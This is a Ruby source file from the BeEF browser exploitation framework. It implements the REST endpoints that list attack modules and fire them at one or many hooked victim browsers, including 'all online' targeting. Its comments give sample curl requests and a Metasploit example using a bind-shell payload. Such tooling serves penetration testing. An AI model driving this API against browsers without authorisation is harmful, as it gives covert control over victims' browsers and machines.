Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/rest/handlers/modules.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
7
module BeEF
8
module Core
9
module Rest
10
class Modules < BeEF::Core::Router::Router
11
config = BeEF::Core::Configuration.instance
12
13
before do
14
error 401 unless params[:token] == config.get('beef.api_token')
15
halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
16
headers 'Content-Type' => 'application/json; charset=UTF-8',
17
'Pragma' => 'no-cache',
18
'Cache-Control' => 'no-cache',
19
'Expires' => '0'
20
end
21
22
#
23
# @note Get all available and enabled modules (id, name, category)
24
#
25
get '/' do
26
mods = BeEF::Core::Models::CommandModule.all
27
28
mods_array = []
29
30
mods.each do |mod|
31
modk = BeEF::Module.get_key_by_database_id(mod.id)
32
next unless BeEF::Module.is_enabled(modk)
33
34
mods_array << {
35
'id' => mod.id,
36
'class' => config.get("beef.module.#{modk}.class"),
37
'name' => config.get("beef.module.#{modk}.name"),
38
'category' => config.get("beef.module.#{modk}.category")
39
}
40
end
41
mods_array.to_json
42
end
43
44
get '/search/:mod_name' do
45
mod = BeEF::Core::Models::CommandModule.where(name: params[:mod_name]).first
46
result = {}
47
result = { 'id' => mod.id } unless mod.nil?
48
result.to_json
49
end
50
51
#
52
# @note Get the module definition (info, options)
53
#
54
get '/:mod_id' do
55
cmd = BeEF::Core::Models::CommandModule.find(params[:mod_id])
56
error 404 if cmd.nil?
57
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
58
error 404 if modk.nil?
59
60
# TODO: check if it's possible to also retrieve the TARGETS supported
61
{
62
'name' => cmd.name,
63
'description' => config.get("beef.module.#{cmd.name}.description"),
64
'category' => config.get("beef.module.#{cmd.name}.category"),
65
'options' => BeEF::Module.get_options(modk) # TODO: => get also payload options..get_payload_options(modk,text)
66
}.to_json
67
end
68
69
# @note Get the module result for the specific executed command
70
#
71
# Example with the Alert Dialog
72
# GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1
73
# Host: 127.0.0.1:3000
74
#===response (snip)===
75
# HTTP/1.1 200 OK
76
# Content-Type: application/json; charset=UTF-8
77
#
78
# {"date":"1331637093","data":"{\"data\":\"text=michele\"}"}
79
#
80
get '/:session/:mod_id/:cmd_id' do
81
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
82
error 401 if hb.nil?
83
cmd = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id,
84
command_module_id: params[:mod_id], id: params[:cmd_id]).first
85
error 404 if cmd.nil?
86
results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id, command_id: cmd.id)
87
error 404 if results.nil?
88
89
results_hash = {}
90
i = 0
91
results.each do |result|
92
results_hash[i] = {
93
'date' => result.date,
94
'data' => result.data
95
}
96
i += 1
97
end
98
results_hash.to_json
99
end
100
101
#
102
# @note Fire a new command module to the specified hooked browser.
103
# Return the command_id of the executed module if it has been fired correctly.
104
# Input must be specified in JSON format
105
#
106
# +++ Example with the Alert Dialog: +++
107
# POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
108
# Host: 127.0.0.1:3000
109
# Content-Type: application/json; charset=UTF-8
110
# Content-Length: 18
111
#
112
# {"text":"michele"}
113
#===response (snip)===
114
# HTTP/1.1 200 OK
115
# Content-Type: application/json; charset=UTF-8
116
# Content-Length: 35
117
#
118
# {"success":"true","command_id":"1"}
119
#
120
# +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++
121
# +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not.
122
# +++ this is why there is "command_id":"not_available" in the response
123
# POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1
124
# Host: 127.0.0.1:3000
125
# Content-Type: application/json; charset=UTF-8
126
# Content-Length: 81
127
#
128
# {"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"}
129
#===response (snip)===
130
# HTTP/1.1 200 OK
131
# Content-Type: application/json; charset=UTF-8
132
# Content-Length: 35
133
#
134
# {"success":"true","command_id":"not_available"}
135
#
136
post '/:session/:mod_id' do
137
hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first
138
error 401 if hb.nil?
139
modk = BeEF::Module.get_key_by_database_id(params[:mod_id])
140
error 404 if modk.nil?
141
142
request.body.rewind
143
begin
144
data = JSON.parse request.body.read
145
options = []
146
data.each { |k, v| options.push({ 'name' => k, 'value' => v }) }
147
exec_results = BeEF::Module.execute(modk, params[:session], options)
148
exec_results.nil? ? '{"success":"false"}' : '{"success":"true","command_id":"' + exec_results.to_s + '"}'
149
rescue StandardError
150
print_error "Invalid JSON input for module '#{params[:mod_id]}'"
151
error 400 # Bad Request
152
end
153
end
154
155
#
156
# @note Fire a new command module to multiple hooked browsers.
157
# Returns the command IDs of the launched module, or 0 if firing got issues.
158
# Use "hb_ids":["ALL"] to run on all hooked browsers
159
# Use "hb_ids":["ALL_ONLINE"] to run on all hooked browsers currently online
160
#
161
# POST request body example (for modules that don't need parameters, just remove "mod_params")
162
# {
163
# "mod_id":1,
164
# "mod_params":{
165
# "question":"are you hooked?"
166
# },
167
# "hb_ids":[1,2]
168
# }
169
#
170
# response example: {"1":16,"2":17}
171
#
172
# curl example (alert module with custom text, 2 hooked browsers)):
173
#
174
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}'
175
#-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633
176
#
177
post '/multi_browser' do
178
request.body.rewind
179
begin
180
body = JSON.parse request.body.read
181
182
modk = BeEF::Module.get_key_by_database_id body['mod_id']
183
error 404 if modk.nil?
184
mod_params = []
185
186
unless body['mod_params'].nil?
187
body['mod_params'].each do |k, v|
188
mod_params.push({ 'name' => k, 'value' => v })
189
end
190
end
191
192
hb_ids = body['hb_ids']
193
results = {}
194
195
# run on all hooked browsers currently online?
196
if hb_ids.first =~ /\Aall_online\z/i
197
hb_ids = []
198
BeEF::Core::Models::HookedBrowser.where(
199
:lastseen.gte => (Time.new.to_i - 15)
200
).each { |hb| hb_ids << hb.id }
201
# run on all hooked browsers?
202
elsif hb_ids.first =~ /\Aall\z/i
203
hb_ids = []
204
BeEF::Core::Models::HookedBrowser.all.each { |hb| hb_ids << hb.id }
205
end
206
207
# run modules
208
hb_ids.each do |hb_id|
209
hb = BeEF::Core::Models::HookedBrowser.find(hb_id)
210
if hb.nil?
211
results[hb_id] = 0
212
next
213
else
214
cmd_id = BeEF::Module.execute(modk, hb.session, mod_params)
215
results[hb_id] = cmd_id
216
end
217
end
218
results.to_json
219
rescue StandardError
220
print_error 'Invalid JSON input passed to endpoint /api/modules/multi_browser'
221
error 400 # Bad Request
222
end
223
end
224
225
# @note Fire multiple command modules to a single hooked browser.
226
# Returns the command IDs of the launched modules, or 0 if firing got issues.
227
#
228
# POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} )
229
# { "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
230
# "modules": [
231
# { # test_return_long_string module with custom input
232
# "mod_id":99,
233
# "mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]
234
# },
235
# { # prompt_dialog module with custom input
236
# "mod_id":116,
237
# "mod_input":[{"question":"hooked?"}]
238
# },
239
# { # alert_dialog module without input (using default input, if any)
240
# "mod_id":128,
241
# "mod_input":[]
242
# }
243
# ]
244
# }
245
# response example: {"99":7,"116":8,"128":0} # <- This means the alert_dialog had issues (see return value 0)
246
#
247
# curl example (test_return_long_string and prompt_dialog module with custom inputs)):
248
#
249
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj",
250
# "modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}'
251
# -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92
252
#
253
post '/multi_module' do
254
request.body.rewind
255
begin
256
body = JSON.parse request.body.read
257
hb = BeEF::Core::Models::HookedBrowser.where(session: body['hb']).first
258
error 401 if hb.nil?
259
260
results = {}
261
unless body['modules'].nil?
262
body['modules'].each do |mod|
263
mod_id = mod['mod_id']
264
mod_k = BeEF::Module.get_key_by_database_id mod['mod_id']
265
if mod_k.nil?
266
results[mod_id] = 0
267
next
268
else
269
mod_params = []
270
mod['mod_input'].each do |input|
271
input.each do |k, v|
272
mod_params.push({ 'name' => k, 'value' => v })
273
end
274
end
275
cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params)
276
results[mod_id] = cmd_id
277
end
278
end
279
end
280
results.to_json
281
rescue StandardError
282
print_error 'Invalid JSON input passed to endpoint /api/modules/multi'
283
error 400 # Bad Request
284
end
285
end
286
end
287
end
288
end
289
end
290
291